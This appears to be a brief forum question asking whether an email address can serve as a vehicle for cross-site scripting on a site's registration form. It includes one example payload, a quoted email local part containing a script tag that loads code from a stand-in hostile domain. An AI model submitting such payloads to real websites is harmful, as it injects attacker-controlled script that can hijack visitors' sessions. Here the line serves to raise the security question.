I wonder if an email address can be used for XSS attacks.
Suppose you have a website where you can register and enter your email address. If someone wants to attack this site, he or she can create an email address such as this:
"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com
and then use this email address to attack the website.
Is a quotation mark or script tag allowed to an email address?
source share